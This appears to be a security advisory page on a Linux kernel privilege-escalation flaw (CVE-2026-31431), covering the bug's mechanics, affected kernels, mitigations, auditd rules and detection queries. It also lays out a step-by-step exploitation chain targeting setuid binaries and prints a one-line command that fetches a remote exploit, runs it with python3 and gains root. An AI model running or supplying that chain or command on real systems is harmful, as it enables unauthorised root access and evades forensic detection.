Copy Fail
CVE-2026-31431 — A deterministic Linux kernel privilege escalation flaw hiding in plain sight since 2017. 732 bytes of Python. One script. Every major distribution. Root in seconds.
Exploit
732-byte Python PoC using only stdlib (os, socket, zlib). No compilation. No offsets. 100% reliable.
Scope
Kernels 4.14 – 6.19.12. Ubuntu, RHEL, Amazon Linux, SUSE, Debian, Arch, Fedora, Alma, Rocky, Oracle.
Stealth
Corruption lives only in RAM (page cache). On-disk file hashes remain valid. Reboot = evidence gone.
Affected Systems
If your kernel was built between 2017 and the patch, you are in scope. The kernel crypto API ships enabled in essentially every mainstream distro's default config.
6.17.0-1007-aws
Directly verified
6.18.8-9.213.amzn2023
Directly verified
6.12.0-124.45.1.el10_1
Directly verified
6.12.0-160000.9-default
Directly verified
Various 4.14+
All versions in range affected
Various 4.14+
Patch available upstream
Various 4.14+
Patch in progress
Various 4.14+
Patch in progress
Various 4.14+
Patch in progress
Various 4.14+
Patch in progress
Affected builds
Certain builds vulnerable
Various 4.14+
Frequently overlooked patch targets
Impact Assessment by Environment
Shared dev boxes, shell-as-a-service, jump hosts, build servers — any user becomes root.
Page cache shared across host. A pod compromises the node and crosses tenant boundaries.
GitHub Actions self-hosted runners, GitLab runners, Jenkins agents — a PR becomes root.
Notebook hosts, agent sandboxes, serverless functions — tenant becomes host root.
Single-tenant production with only team shell access. Internal LPE; chains with web RCE or stolen creds.
Post-exploitation step-up. Any local code execution becomes root.
Technical Deep Dive
Three independently reasonable kernel changes — 2011, 2015, and 2017 — accidentally combined to create a universal root primitive.
authencesn Introduced
The authencesn algorithm is added to the Linux kernel for IPsec Extended Sequence Number (ESN) support. It uses the destination buffer as scratch space to rearrange sequence numbers — harmless at this point because only the internal xfrm layer calls it.
AF_ALG Gains AEAD Support
The AF_ALG socket interface (userspace crypto API) is extended to support AEAD ciphers. authencesn is migrated to the new AEAD interface, introducing the assoclen + cryptlen offset. algif_aead still operates out-of-place, so dst remains a userspace buffer.
The Fatal Optimization
Commit 72548b093ee3 adds an in-place optimization to algif_aead: req->src and req->dst now point to a combined scatterlist. The scratch write from authencesn now lands in page-cache pages when splice() hands them into the crypto subsystem. The bug goes unnoticed for 9 years.
Disclosure & Patch
Theori / Xint Code discovers the flaw via AI-assisted scanning of the crypto/ subsystem. Patch committed (a664bf3d603d) reverts the in-place optimization, restoring out-of-place operation. CVE-2026-31431 assigned and publicly disclosed April 29, 2026.
The Four Bytes
During AEAD decryption, authencesn rearranges the high/low halves of a 64-bit sequence number using the destination buffer as temporary scratch space. The third scatterwalk_map_and_copy call writes 4 bytes at offset assoclen + cryptlen — past the legitimate plaintext output region. Because of the 2017 in-place optimization, this write lands inside a page-cache page of whatever file the attacker spliced in.
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); // ← THE BUG
Attacker-Controlled Parameters
Which File
Any file readable by the user, chosen via splice(). Typically /usr/bin/su.
Which Offset
Controlled via splice offset, splice length, and assoclen.
Which Value
Bytes 4–7 of the AAD (seqno_lo), supplied in sendmsg().
Why Disk Forensics Miss It
The corruption never touches disk. The on-disk /usr/bin/su remains pristine. File integrity monitors comparing hashes against a baseline see nothing wrong. When the corrupted page is evicted from memory or the system reboots, the cache reloads clean from disk — leaving no forensic trail of the compromise. Detection requires either page-cache-vs-disk divergence checks or syscall-level visibility into AF_ALG + authencesn + splice() patterns.
Exploitation Chain
A straight-line logic flaw. No race conditions. No offsets. The same 732-byte Python script works unmodified across every major Linux distribution.
Initial Foothold
Attacker gains unprivileged code execution. Could be a compromised CI runner, web container, stolen SSH creds, or a malicious npm postinstall hook. No root required inside the container.
AF_ALG Socket
Open a SOCK_SEQPACKET socket, bind to "aead" with authencesn(hmac(sha256),cbc(aes)), set a dummy key. No capability check. No compilation. No third-party libraries.
splice() Page Cache
splice() hands page-cache pages of /usr/bin/su directly into the crypto subsystem without copying through userspace. The same physical page backing execve() is now reachable through the pipe.
sendmsg() Injection
Build a sendmsg() whose AAD bytes 4–7 are the shellcode bytes to write. The authencesn scratch write fires, landing 4 controlled bytes into the cached su binary.
EBADMSG & Failure
The HMAC verification fails — the ciphertext is fabricated. recvmsg() returns -EBADMSG. But the 4-byte write is already done by the time the auth check runs, and it persists.
execve("/usr/bin/su")
Run the corrupted setuid binary. The kernel loads it from page cache — now injected with attacker shellcode — and executes as UID 0. Root achieved in under a minute.
PoC at a Glance
The published proof-of-concept is a standalone 732-byte Python 3 script using only the standard library. It targets /usr/bin/su by default; pass another setuid binary as argv[1].
$ curl https://copy.fail/exp | python3 && su # id uid=0(root) gid=1002(user) groups=1002(user)
SHA-256 of published PoC: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
Container Escape Primitive
The page cache is a property of the host kernel, not the container. An unprivileged container process can corrupt a setuid binary in the page cache that a privileged container — or the host itself — will subsequently execute. This vulnerability is, by design, a container escape primitive. Shared-kernel multi-tenancy is not a security boundary against a kernel-grade primitive.
Threat Intelligence
Active exploitation confirmed in the wild. Multiple vendors have published detection guidance and hunting queries.
Disclosure Timeline
Reported to Linux kernel security team by Taeyang Lee (Theori) / Xint Code
Mainline patch committed (a664bf3d603d) — reverts 2017 in-place optimization
CVE-2026-31431 assigned
Public disclosure at copy.fail; PoC published on GitHub
CISA issues alert and adds to KEV catalog
Active in-the-wild exploitation confirmed (heise.de / CISA)
Palo Alto Unit 42 publishes detailed analysis and hunting queries
Kaspersky Securelist publishes detection guidance for EDR/SIEM
Vendor Coverage
Observed Attack Chains
Server-Side Compromise → Kernel Privesc
CRITICALInitial RCE on internet-facing service (web app, edge appliance) → webshell/implant as service user → algif_aead primitive → root within minutes. Most common opportunistic pattern.
Container Escape
CRITICALAttacker lands in unprivileged container → corrupts host setuid binary in shared page cache → host or privileged container executes corrupted binary. Namespace isolation defeated by kernel primitive.
Phishing / Malware Drop
HIGHUser runs malicious attachment or script → stage-1 loader executes as unprivileged user → Copy Fail escalation → full host compromise.
Supply-Chain / CI Poisoning
CRITICALMalicious npm/pip package or compromised CI step embeds the 732-byte Python script in a postinstall hook → runner becomes root → supply-chain blast radius.
Mitigation Guide
Patch first. If you cannot patch immediately, disable the affected module or block AF_ALG socket creation for untrusted workloads.
Immediate: Patch Your Kernel
Update your distribution's kernel package to one that includes mainline commit a664bf3d603d. Most major distributions are shipping the fix now.
sudo apt update sudo apt install linux-image-generic
sudo yum update kernel # or dnf update kernel
sudo pacman -Syu
Interim: Disable algif_aead
If you cannot patch immediately, disable the vulnerable module. For the vast majority of systems this breaks nothing measurable.
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead
Will not affect: dm-crypt/LUKS, kTLS, IPsec/XFRM, OpenSSL/GnuTLS/NSS default builds, SSH, kernel keyring crypto. May affect: userspace explicitly configured to use AF_ALG (e.g., OpenSSL with afalg engine).
Container / Runtime Mitigation
For untrusted workloads (containers, sandboxes, CI), block AF_ALG socket creation via seccomp regardless of patch state. Shared-kernel namespace isolation is not a security boundary against a kernel-grade primitive.
docker run --security-opt seccomp=profile.json ...
# profile.json snippet
{
"syscalls": [
{
"names": ["socket"],
"action": "SCMP_ACT_ERRNO",
"args": [
{
"index": 0,
"value": 38,
"op": "SCMP_CMP_EQ",
"valueTwo": 38
}
]
}
]
}apiVersion: v1
kind: Pod
metadata:
name: restricted-pod
spec:
securityContext:
seccompProfile:
type: Localhost
localhostProfile: profiles/afalg-deny.json
containers:
- name: app
image: app:latestEmbedded / Built-in Kernel Config
If the crypto interface is compiled into the kernel (CONFIG_CRYPTO_USER_API_AEAD=y), module removal will not work. Add the following to kernel boot parameters and reboot:
initcall_blacklist=algif_aead_init
Detection & Hunting
The exploit uses only legitimate system calls, making it hard to distinguish from normal activity. Detection requires syscall-level visibility or behavioral anomaly detection.
Behavioral Indicators
Python → Shell → SUID
Any Python process that launches a shell which then executes a privileged setuid binary (su, sudo, mount, passwd, gpasswd, etc.).
Uncommon su Parent
Non-root user launching su via a parent process other than expected shells (bash, sh, zsh, ksh) or sudo/su itself.
AF_ALG + splice Sequence
Syscall sequence: socket(AF_ALG) → splice() from a setuid binary fd → sendmsg() on AF_ALG socket. Extremely anomalous.
Page Cache Divergence
Hash of running binary in memory diverges from on-disk hash. Requires kernel-level instrumentation or live memory analysis.
sh -c -- su Pattern
Command lines matching sh -c -- su, sh -c -- sudo, sh -c -- passwd, etc. Characteristic of the published PoC execution.
Module Load / Removal
Unusual rmmod algif_aead or modprobe activity combined with setuid execution shortly after.
auditd Rules
Enable syscall auditing for AF_ALG socket creation, splice() between file descriptors after reading setuid binaries, and characteristic execve patterns.
-w /usr/bin/su -p r -k copyfail_suid_read -w /usr/bin/sudo -p r -k copyfail_suid_read -w /usr/bin/passwd -p r -k copyfail_suid_read -a always,exit -F arch=b64 -S splice -F auid>=1000 -F auid!=4294967295 -k copyfail_splice -a always,exit -F arch=b32 -S splice -F auid>=1000 -F auid!=4294967295 -k copyfail_splice -a always,exit -F arch=b64 -S socket -F a0=38 -F auid>=1000 -F auid!=4294967295 -k copyfail_afalg_socket -a always,exit -F arch=b32 -S socket -F a0=38 -F auid>=1000 -F auid!=4294967295 -k copyfail_afalg_socket
EDR / XDR Hunting Queries
dataset = xdr_data
| filter event_type = ENUM.PROCESS and event_sub_type = ENUM.PROCESS_START
and agent_os_type = ENUM.AGENT_OS_LINUX and actor_effective_user_sid != "0"
and action_process_image_name = "su"
and actor_process_image_name not in ("bash", "sh", "zsh", "ksh", "sudo", "su")
| comp count() as execution_count by agent_hostname, actor_process_image_namepossible_copy_fail_cve_2026_31431: parent_process_name: python* child_process_name: sh, bash command_line_contains: "-c -- su" user_sid: != 0
Sigma-Style Detection Rule
title: Potential Copy Fail (CVE-2026-31431) Exploitation
status: experimental
description: Detects non-root users launching setuid binaries via unexpected parent processes, consistent with Copy Fail exploitation.
logsource:
product: linux
category: process_creation
detection:
selection:
User|endswith:
- '1000'
- '1001'
- '1002'
Image|endswith:
- '/su'
- '/sudo'
- '/passwd'
- '/gpasswd'
- '/mount'
ParentImage|endswith:
- '/python'
- '/python3'
- '/sh'
condition: selection
falsepositives:
- Legitimate automation scripts running as non-root that invoke su
level: highHow Does It Compare?
Copy Fail is the third headline Linux LPE in a decade. It is not equivalent — it is strictly worse for defenders.
| Attribute | Dirty Cow (2016) | Dirty Pipe (2022) | Copy Fail (2026) |
|---|---|---|---|
| CVE | CVE-2016-5195 | CVE-2022-0847 | CVE-2026-31431 |
| Type | Race condition (COW) | Uninitialized flag (pipe_buffer) | Logic flaw (crypto scatterlist) |
| Reliability | Unreliable — can panic the box | Reliable but version-bound (5.8+) | 100% deterministic, first try |
| Portability | Per-distro offsets, may touch disk | Version-bound to 5.8+ | One script, every distro, no recompilation |
| Stealth | Disk artifacts in many PoCs | Memory-only, but pipe-based | RAM-only (page cache); no disk trace ever |
| Exploit Size | Multiple KBs, often compiled | Small C program | 732 bytes of Python stdlib |
| Prerequisites | Local user, race window | Local user, specific pipe state | Local user, AF_ALG enabled (default) |
| Container Escape | Possible but not inherent | Possible but not inherent | By design — shared page cache across namespaces |
| Patch Status | Patched (2016) | Patched (2022) | Patch shipping (commit a664bf3d603d) |
Why This Matters
Dirty Cow was a race condition — you could lose, panic the system, or leave disk artifacts. Dirty Pipe was cleaner but version-bound to 5.8+ kernels and required specific pipe state. Copy Fail has none of those frictions. It is a straight-line logic flaw: the same Python script roots a 6.12 RHEL kernel and a 6.18 Amazon Linux kernel without modification. It bypasses the VFS write path entirely, so the page is never marked dirty for writeback, the on-disk file's checksum stays valid, and any file-integrity monitor comparing hashes against a baseline will see nothing wrong. When the corrupted su is later evicted from the page cache and reloaded from disk, the corruption simply disappears — leaving no forensic trail.
Resources & References
Curated authoritative sources for further reading, vendor advisories, and original research.
Original Disclosure
copy.fail — Theori / Xint Code public disclosure page with live demo, PoC, and FAQ.
NVD Entry
National Vulnerability Database — CVE-2026-31431 technical details, CVSS scoring, and references.
CISA KEV Catalog
Cybersecurity and Infrastructure Security Agency — Known Exploited Vulnerabilities entry with remediation deadline.
Microsoft Security Blog
Detailed Microsoft Defender analysis, detection coverage, XDR hunting guidance, and cloud impact assessment.
Palo Alto Unit 42
Threat analysis, Cortex XDR XQL hunting queries, incident response guidance, and IOCs.
Kaspersky Securelist
EDR/SIEM detection rules, Python/Go/Rust PoC detection, behavioral analysis, and auditd configuration.
Tenable Blog
FAQ-style breakdown, comparison with Dirty Cow and Dirty Pipe, and Vulnerability Watch classification.
Kernel Patch Commit
Linux kernel mainline commit a664bf3d603d — reverts the 2017 algif_aead in-place optimization.
This intelligence hub is maintained for the security community. All technical claims are sourced from published vendor analyses and the original disclosure.